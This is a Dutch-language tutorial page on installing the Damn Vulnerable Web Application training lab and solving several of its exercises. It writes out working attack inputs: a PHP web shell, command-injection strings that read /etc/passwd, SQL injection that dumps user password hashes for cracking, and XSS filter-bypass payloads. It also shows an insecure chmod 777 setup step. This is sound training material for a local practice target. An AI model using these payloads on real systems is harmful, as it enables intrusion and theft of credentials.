Damn Vulnerable Web Application (DVWA)
- Setup
- DVWA Security
- Upload
- Command Execution
- SQL injection manual
- XSS (Reflected)
- XSS (Stored)
- Links
Setup
Naast de hieronder beschreven methode kan het ook veel simpeler, want DVWA is onderdeel van Metasploitable.
Ik beschrijf de setup apart voor Windows en Kali.
Bekijk na de setup eerst deze sectie.
Setup in Windows
Download XAMMP
Download XAMPP
(bevat o.a.
MySQL
,
Apache
en
Tomcat
server) van
apachefriends.org.
Installeer, en
zet de Apache
en MySQL
services aan.
Controleer dan of de web server het doet door in de browser naar
localhost/dashboard
te gaan.
Download DVWA
Download de
Damn Vulnerable Web Application
hier
(knop Download
, links onderin).
Installeer DVWA
Maak een map dvwa
binnen de map
\XAMMP\htdocs
(De files die in die map stonden horen bij de default installatie, en
je kan ze weggooien, maar het hoeft niet.)
Extract the Zip
-file naar de net aangemaakte map.
Als je nu naar localhost\dvwa
gaat
zou je bij de DVWA
-pagina moeten komen.
Rename dan de file config.inc.php.dist
in de map config
naar config.inc.php
.
Edit dit bestand, en zorg ervoor dat db_user
de waarde root
heeft, en
db_password
blank is.
Klik onderaan de pagina op
Create / Reset Database
Bereikbaarheid vanuit Kali (of een andere machine)
Daarna moet je vanuit Kali testen of je de app kan bereiken,
en het IP-adres van je Windows-PC toevoegen aan de file
/etc/hosts
(met als domein
vuln.lab
).
Setup in Kali
Als je de app in Kali wilt installeren, moet je hem in Kali downloaden,
en het het volgende commando geven:
cp -Rv /home/userid/Downloads/DVWAversion /var/www
Daarna:
chmod -Rv 777 /var/www/DVWAversion
Als je nu in de browser naar localhost
gaat zou je
de index van de DVWA-map moeten zien.
apt-cache search mysql | grep -i database | less
Zoek naar mysql-client
, en dan:
apt-get install mysql-client
apt-get install mysql-server
service mysql restart
mysql -h localhost -u root
(1e keer), of
mysql -h localhost -u root -p
(volgende keren)
Tussendoor:
SET PASSWORD FOR root@localhost=PASSWORD('test');
(uppercase niet noodzakelijk).
Ga nu naar de DVWA-map, en dan cd config
.
Daar staat nl. de file config.inc.php
, die je
moet wijzigen.
Je moet de waarde van db_password
vervangen
door test
(tenminste als je aan het eind van de
vorige paragraaf dat zo ingesteld hebt).
service apache2 restart
Dan klik je op het browserscherm van localhost
op Create / Reset Database
Userid en password van het inlogscherm staan in
readme.md
('admin' en 'password').
Default staat het security level misschien op high. Hier staat hoe je dat moet veranderen.
DVWA Security
Er zijn voor elk probleem in DVWA 3 security levels, die andere oplossingen vragen. In dit menu kan je het level veranderen.
Default staat het level mogelijk op het hoogste niveau, waardoor hacken voor een beginner erg moeilijk wordt.
Upload
Low security
Klik op Upload
Soms wordt niet goed gecontroleerd op wat er ge-upload wordt.
Bv. bij een CV zou je 1 of ander document verwachten.
We gaan proberen een PHP shell te uploaden, nl. dit:
<?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>
shell_exec is een PHP-functie die je shell commands laat uitvoeren
$_GET wil zeggen dat je HTTP commands gaat geven
cmd is de parameter.
Als je het commando in een bestand zet en upload, moet je goed kijken
waar het bestand blijft.
Je plaatst het pad naar het script in de URL, en krijgt niets terug.
Dat is goed nieuws, want nu kan je aan het eind toevoegen
?cmd=ls
En je krijgt een listing terug.
Command Execution
Kies in het menu
Command Execution
.
Op chris-young.net worden alle 3 levels besproken.
Low security
Je krijgt dan een invoerveld waar je een IP-adres kan invullen.
Er wordt dan een ping
gedaan van dat adres.
Maar in Linux/Unix kan je meerdere commando's uitvoeren gescheiden door een ';'.
Je zou dus kunnen proberen om i.p.v. alleen een IP-adres er iets achter te
plakken, bv. ; pwd
Op deze manier kan je ook de inhoud van de password file
/etc/passwd
te pakken krijgen.
Vul dan bv. in: 127.0.0.1; cat /etc/passwd
I.p.v. de ';' om commando's te scheiden, kan je ook '&&' gebruiken, dus bv.
127.0.0.1 && whoami
Om het besturingssysteem te weten te komen kan je dit doen:
127.0.0.1 | uname
Door de pipe te gebruiken raak je de overtollige ping-informatie kwijt.
Die uitvoer wordt naar het uname-commando gestuurd, maar dat programma
doet er verder niets mee.
SQL injection manual
Low security
Met een cijfer als invoer krijg je voor- en achternaam te zien.
Probeer nu als invoer 3'
.
Dat levert een error, dus is de applicatie kwetsbaar en
probeer je een injection techniek:
3' or 1=1#
.
Je krijgt nu alle records te zien.
Je probeert nu
3' or 1=1 union select database(),user()#
,
en daarna
3' or 1=1 union select user,password from users#
Je krijgt een lijst met users en MD5 encrypted passwords, die je
online kan decrypten, bv. dat van admin
.
Ga bv. naar www.md5online.org.
Het password blijkt 1234
te zijn.
XSS (Reflected)
Low security
Als je de code bekijkt zie je dat je naam ge-echo'd wordt, zonder enige controle op rare tekens.
Probeer wat er gebeurt als je Javascript invoert:
<script>alert('xss')</script>
.
xss
verschijnt in een message op het scherm.
Je kan in de URL zien dat alles wat je aan Javascript invoert wordt uitgevoerd in de browser.
Medium security
We zien in de source code dat '<script>' vervangen wordt door niets.
De eenvoudige oplossing is een parameter toevoegen aan de script-tag, bv.
language="javascript"
High security (v 1.10)
Deze keer staat er in de code:
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '',, $GET['name'])
Nu probeer je ><img src=x onerror=alert()>
,
en het werkt.
Impossible security (v 1.10)
XSS (Stored)
Low security
Probeer, net als bij Reflected XSS, wat er gebeurt als je Javascript invoert
(in het message-veld):
<script>alert('xss')</script>
.
xss
verschijnt in een message op het scherm.
In dit geval, omdat de code in de database gestored is, krijg je de melding opnieuw als je de pagina ververst.
Medium security
Tussendoor doe je een reset van de database.
Deze keer wordt de 'message' door de strip_tags
functie gehaald.
Maar in de 'name' wordt alleen <script>
vervangen.
Je wilt het dus weer proberen met een language="..."
parameter bij de script-tag (in het name-veld), maar er is onvoldoende ruimte.
Dus ga je de Inspector
oproepen (Q),
en de limit (van 10) verhogen naar 500.
Hoe dat moet is me onduidelijk.
Je kan rechtsklikken en dan Edit as HTML
, maar
onduidelijk hoe je de waarde dan kan bevestigen.
High security
Tussendoor doe je een reset van de database.
Deze keer staat er in de code (van het name-veld):
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '',, $GET['name'])
Nu probeer je ><img src=x onerror=alert()>
(na aanpassen van de lengte van het name-veld als bij medium security),
en het werkt.
Links
Reageer via E-mail (dalmolen@xs4all.nl)
Deze pagina is voor het laatst gewijzigd op: 25-01-23 17:00:16